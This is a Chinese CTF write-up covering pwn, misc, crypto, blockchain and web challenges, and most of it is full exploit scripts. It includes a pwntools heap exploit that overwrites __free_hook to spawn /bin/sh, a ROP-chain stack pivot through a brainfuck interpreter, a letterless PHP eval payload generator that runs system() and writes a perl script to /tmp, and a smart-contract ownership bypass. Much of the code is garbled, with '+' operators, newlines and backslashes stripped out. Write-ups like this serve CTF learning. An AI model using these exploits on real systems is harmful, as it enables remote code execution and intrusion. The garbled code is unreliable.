01 PWN
note
首先show函数里有一个数组越界,输入-5可以泄露从$rebase(0x4008)开始0x996个bytes
stdou,stdin和stderr都在这个范围之内
而后门函数同样也有数组越界,除此之外还可以溢出32个字节(当然我没有用到)
首先我们先show(-5)把Libc给泄露出来,然后在rebase(0x4080)处伪造一个指向__free_hook的结构,并在rebae(0x4098)处写上/bin/sh的地址,先该hook再delete 1即可
代码语言:javascript复制from pwn import *
r = remote("124.156.135.103", 6004)
#r = process("./note/note")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
where
''')
elf = ELF("./note/note")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
menu = "Choice: "
def add(index, choice):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Size: ")
r.sendline(str(choice))
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Message:
")
r.send(content)
def backdoor(index, content):
r.recvuntil(menu)
r.sendline('7')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Message:
")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def super_note(content):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Give a super name: ")
r.sendline(content)
add(0, 0)
show(-5)
r.recv(0x18)
libc.address = u64(r.recv(8)) - libc.sym['_IO_2_1_stdout_']
success("libc:" hex(libc.address))
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
r.recv(0x58)
heap_base = u64(r.recv(8)) - 0x260
success("heap:" hex(heap_base))
payload = p64(0xFFFFFFFFFFFFFFFF)*2 p64(1) p64(stdout) p64(0) p64(stdin) p64(0) p64(stderr) p64(0)*7 p64(free_hook) p64(8) p64(0xFF) p64(bin_sh)
backdoor(-5, payload)
edit(0, p64(system) '
')
delete(1)
r.sendline('ls')
r.interactive()
bf
这道题的漏洞也算是数组越界吧!
程序是用c 写的,调用关系很复杂。大致看了一下是brainfuck的解释器,动态调试可以发现输入会读到rbp-0x30开始的位置,并且在rbp-0x40处有指向rbp-0x30的指针,而brainfuck开始解释时指针指向rbp-0x440,并且从rbp-0x440到rbp-0x40处的值均为0。
因此用' [> ].'这么一串bf代码就能泄露出rbp-0x30的最低一个byte,而bf代码执行完会打印出rbp-0x40存放指针中的值,并且之后输入y继续读入bf的代码也是rbp-0x40处指向的内存,这就有了一个有限任意栈读写的漏洞,我们只需要先把rbp和libc泄露出来,然后把ROPchain读进去,把main的返回地址改成leave进行栈迁移就能获得flag
注意最后要把rbp-0x40处的指针恢复,否则会执行free的syscall而使得程序强制退出
代码语言:javascript复制from pwn import *
r = remote("124.156.135.103", 6002)
#r = process("./bf/bf")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1320)
b *$rebase(0x1CDB)
b *$rebase(0x1D96)
c
''')
elf = ELF("./bf/bf")
libc = ELF("./bf/libc.so.6")
r.recvuntil("enter your code:
")
r.sendline(' [> ].')
r.recvuntil("running....
")
leak = ord(r.recv(1))
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline(' [> ],')
r.recvuntil("running....
")
num = leak-1 0x20
r.send(chr(num))
r.recvuntil("done! your code:")
r.recv(1)
rbp = u64(r.recvuntil('
').strip().ljust(8, ''))
success("rbp:" hex(rbp))
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline(' [> ],')
r.recvuntil("running....
")
num = leak-1 0x20 0x18
r.send(chr(num))
r.recvuntil("done! your code: ")
libc.address = u64(r.recvuntil('
').strip().ljust(8, '')) - 231 - libc.sym['__libc_start_main']
success("libc:" hex(libc.address))
pop_rdi = libc.address 0x000000000002155f
pop_rsi = libc.address 0x0000000000023e6a
pop_rdx = libc.address 0x0000000000001b96
leave = libc.address 0x0000000000054803
pop_rsp = libc.address 0x0000000000003960
open = libc.sym['open']
read = libc.sym['read']
write = libc.sym['write']
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline(' [> ],')
r.recvuntil("running....
")
num = leak-1 0x28
r.send(chr(num))
#r.send(chr(num))
offset = 0x7fff715bf840 - 0x7fff715bf320
ROP_addr = rbp - offset
flag_addr = ROP_addr 0x98
ROP = p64(pop_rdi) p64(flag_addr) p64(pop_rsi) p64(0) p64(open)
ROP = p64(pop_rdi) p64(3) p64(pop_rsi) p64(flag_addr) p64(pop_rdx) p64(0x50) p64(read)
ROP = p64(pop_rdi) p64(1) p64(pop_rsi) p64(flag_addr) p64(pop_rdx) p64(0x50) p64(write)
ROP = './flag'
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline(' [,> ],ÿ' p64(ROP_addr-8) p64(leave))
r.recvuntil("running....
")
for i in range(len(ROP)):
r.send(ROP[i:i 1])
for i in range(0x400-len(ROP)):
r.send(chr(0x90))
num=leak-1
r.send(chr(num))
r.send(chr(num))
r.recvuntil("want to continue?
")
r.send('n')
r.interactive()
02 Misc
animal
首先拿到了一个 7z 压缩包和一个 messge 文件,内有一段代码,是 arduino 代码
可以在 https://www.tinkercad.com/circuits模拟编译运行
通过 led 闪烁的频率,我们可以得到 loop 后的结果
1. -----.--.-----.--.
2. -----.-----.--.-----.
3. -----.--.--.
4. --.
5. -----.--.-----.
6. --.--.--.
7. -----.-----.-----.--.--.
看着像莫斯,尝试用以下方法翻译
1 -.-. C
2 --.- Q
3 -.. D
4 . E
5 -.- K
6 ... S
7 ---.. 8
得出结果 CQCQCQDEKDEK88SKSK
这个玩意儿一开始有点摸不着头脑,后面逐步了解到是业余无线电的一种呼号方式
CQCQCQ 是问候语 标识寻找人开始
DEKDEK 是我发完了 你来发
SKSK 是 seeyou
真正有用的就是个 88
参考使用方法
得到压缩包解密密码 Love and kisses
解压后得到一个蓝牙流量包和一张二维码
事实证明二维码是个烟雾弹,没有有用信息
真正解题是看流量包里的一个名为 secret.jpg 的图片
通过 steghide 工具可以从图片中提取出一个 flag.txt 的文件
是空密码 直接执行 steghide extract -sf secret.jpg 即可
flag.txt 内是一串 base64 加密的密文,解密后得到一个网址
https://mzl.la/2WEjn5a
是 emojy 加密的密文,直接用网站的解密功能,逐个爆破尝试即可
成功如下:
03 Crypto
easy_f(x)
发现 f(x) = (check k1*x^1 k2*x^2 ... k512*x^512) mod M
知道每一个 x 与 f(x) 的值,未知数有我们要求出的 check 以及 k1 ~ k512。因此解这个 513 元同余方程组需要 513 组数据。
直接解 513 维行列式会很慢,题目限时 300s,我电脑得 1000s 才能算完两个行列式。
发现本题中 delta 其实是旋转后的范德蒙行列式。delta_0 是旋转后的范德蒙行列式的变形,第一行不是全 1,而是 r[i]。可以按第一行展开,余子式中将每一列除以该列元的一次方,可化为范德蒙行列式。计算速度会快非常多,我电脑 150s 左右就算完了。
完整脚本:
代码语言:javascript复制import hashlib
import itertools
import string
import gmpy2
from pwn import *
def PoW(ends, res):
for x in itertools.product(string.ascii_letters string.digits, repeat=4):
nonce = ''.join(x)
if hashlib.sha256((nonce ends)).hexdigest() == res:
return nonce
sh = remote('124.156.140.90', 2333)
s1 = sh.recvuntil('Give me XXXX:')
re_res = re.search(r'sha256(XXXX ([0-9a-zA-Z]{16})) == ([0-9a-z]{64})', s1)
ends = re_res.group(1)
res = re_res.group(2)
print 'ends:%s hash:%s' % (ends, res)
nonce = PoW(ends, res)
print 'Find nonce: %s' % nonce
sh.sendline(nonce)
print 'PoW finish.'
s2 = sh.recvuntil('How many f(x) do you want?')
M_res = re.search(r'M=([0-9] )', s2)
M = int(M_res.group(1))
print 'M: %s' % M
fx_num = 513
sh.sendline(str(fx_num))
x = []
r = []
s3 = sh.recvline()
for i in range(fx_num):
s3 = sh.recvline(keepends=True)
fx_res = re.search(r'f(([0-9] ))=([0-9] )', s3)
x.append(int(fx_res.group(1)))
r.append(int(fx_res.group(2)))
print 'Start calc...'
delta = 1
for i in range(1, fx_num):
for j in range(0, i):
t = x[i] - x[j]
delta = (delta * t) % M
delta_0 = 0
for i in range(fx_num):
tmp_x = [_ for _ in x]
tmp_x.pop(i)
yuzishi = -r[i] if (i 1 1) % 2 else r[i]
for j in range(fx_num-1):
yuzishi = (yuzishi * tmp_x[j]) % M
for j in range(1, fx_num-1):
for k in range(0, j):
t = tmp_x[j] - tmp_x[k]
yuzishi = (yuzishi * t) % M
delta_0 = (delta_0 yuzishi) % M
delta_inverse = gmpy2.invert(delta, M)
check = delta_inverse * delta_0 % M
print 'check: ', check
sh.sendline(str(check))
s4 = sh.recvrepeat()
print s4
04 Block Chain
roiscoin
此题存在非预期解,其中关键函数有
代码语言:javascript复制 function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (guess == answer) {
WinCount[msg.sender] = 1;
BalanceOf[msg.sender] = 1000;
} else {
FailCount[msg.sender] = 1;
}
...
}
function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}
调用 lockInGuess 传入一个数字,再调用 settle 去验证数字是否与一个随机数相同。但是这里随机数的范围是 0 和 1(因为%2),所以可以直接爆破,只要成功两次即可,概率为 25%。
然后 beOwner 函数存在非预期解,当合约余额为 0 时,在调用 beOwner 时携带任意金额即可满足 msg.value = this.balance,因此可以直接成为 owner,也就可以 payforflag。
05 Web
Calc
一个简单的计算页面,输入表达式输出结果。直接访问 calc.php 可以获得源码,关键点如下:
代码语言:javascript复制$str = $_GET['num'];
$blacklist = ['[a-z]', '[-ÿ]', 's',"'", '"', '`', '[', ']','$', '_', '\','^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
最终目的就是通过 eval 执行命令。但过滤了字母、$、引号、异或等。
通过响应头发现 php 版本是 7.4。PHITHON 师傅的“无字母数字webshell之提高篇”(https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)中有提到,可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意 PHP 表达式。
实践可以发现,两个括号中都可以是表达式,第一个括号中是函数,第二个就是参数了。函数嵌套就是 (f1)(f2(arg))。但这种可变函数不能用于如 echo、include、eval 等语言结构。
0/0 结果为 INF,再通过 (0/0).(0) 得到 INF 的字符串,然后 ((0/0).(0)){0} 得到 N,((0/0).(5)){3} 得到数字 0-9 的字符。还可通过 ((99**999).(0)){2} 得到 I、F,((99**99).(0)){15} 得到 E,((-1).(0)){0} 得到 -。然后就可以通过不断地:取反~、和运算&、或运算|,得到全部 256 个字符。
之后就可以执行 system 命令了。发现根目录有 readflag 以及 flag,要用 readflag 读取 flag。但执行后有个运算挑战需要交互,无果。尝试反弹 shell,发现出口流量被拦,不能主动发起连接。
查找到有原型题目:https://www.secpulse.com/archives/105333.html
readflag 中 ualarm 函数通过信号会结束进程,要通过管道的方式获得当前输出并计算然后输入。
上传上面 wp 中的 perl 文件时,本想通过 system(_POST[1]) 的方式来简化 payload 以及 GET 请求的 URI 上限。但 _POST[1] 是字符串就不能再当成变量,无果。因此使用 echo 分多次往 tmp 目录里写 perl 文件,由于 URI 的上限,对 perl 脚本进行了少许修改。并且要注意 echo 中的转义。
代码语言:javascript复制use strict;
use IPC::Open3;
my $pid = open3(*CHLD_IN,
*CHLD_OUT,
*CHLD_ERR, "/readflag");
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$rn";
print CHLD_IN "$rn";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
有时候因为 perl 脚本运行时间问题,执行失败,多试几次就好。
完整脚本:
代码语言:javascript复制import copy
import requests
book = {
ord('0'): '((0/0).(0)){3}',
ord('1'): '((0/0).(1)){3}',
ord('2'): '((0/0).(2)){3}',
ord('3'): '((0/0).(3)){3}',
ord('4'): '((0/0).(4)){3}',
ord('5'): '((0/0).(5)){3}',
ord('6'): '((0/0).(6)){3}',
ord('7'): '((0/0).(7)){3}',
ord('8'): '((0/0).(8)){3}',
ord('9'): '((0/0).(9)){3}',
ord('N'): '((0/0).(0)){0}',
ord('A'): '((0/0).(0)){1}',
ord('I'): '((99**999).(0)){0}',
ord('F'): '((99**999).(0)){2}',
ord('E'): '((99**99).(0)){15}',
ord('-'): '((-1).(0)){0}'
}
while len(book) != 256:
# &
tmp_book = copy.deepcopy(book)
for i in tmp_book:
for j in tmp_book:
tmp = i & j
if tmp not in book:
s = '(%s)&(%s)' % (tmp_book[i], tmp_book[j])
book[tmp] = s
# |
tmp_book = copy.deepcopy(book)
for i in tmp_book:
for j in tmp_book:
tmp = i | j
if tmp not in book:
s = '(%s)|(%s)' % (tmp_book[i], tmp_book[j])
book[tmp] = s
# ~
tmp_book = copy.deepcopy(book)
for i in tmp_book:
tmp = i ^ 255
if tmp not in book:
s = '~(%s)' % (tmp_book[i])
book[tmp] = s
# print(len(book))
# for x in book:
# print(x, chr(x), book[x])
def get_payload(target):
payload = ''
for x in target:
payload = '(%s).' % book[ord(x)]
return payload[:-1]
with open('crack.pl', 'r') as f:
file_content = [_.strip() if _ != '
' else _ for _ in f.readlines()]
for i, line in enumerate(file_content):
if '' in line:
file_content[i] = line.replace('', '\')
file_name = '/tmp/a.pl'
system_payload = get_payload('system')
url = 'http://124.156.140.90:8081/calc.php'
for line in file_content:
s = "echo '%s'>>%s" % (line, file_name)
payload = '(%s)(%s)' % (system_payload, get_payload(s))
r = requests.get(url=url, params={'num': payload})
# s = "cat %s" % file_name
# payload = '(%s)(%s)' % (system_payload, get_payload(s))
# r = requests.get(url=url, params={'num': payload})
# print(r.text)
s = "perl %s" % file_name
payload = '(%s)(%s)' % (system_payload, get_payload(s))
r = requests.get(url=url, params={'num': payload})
print(r.text)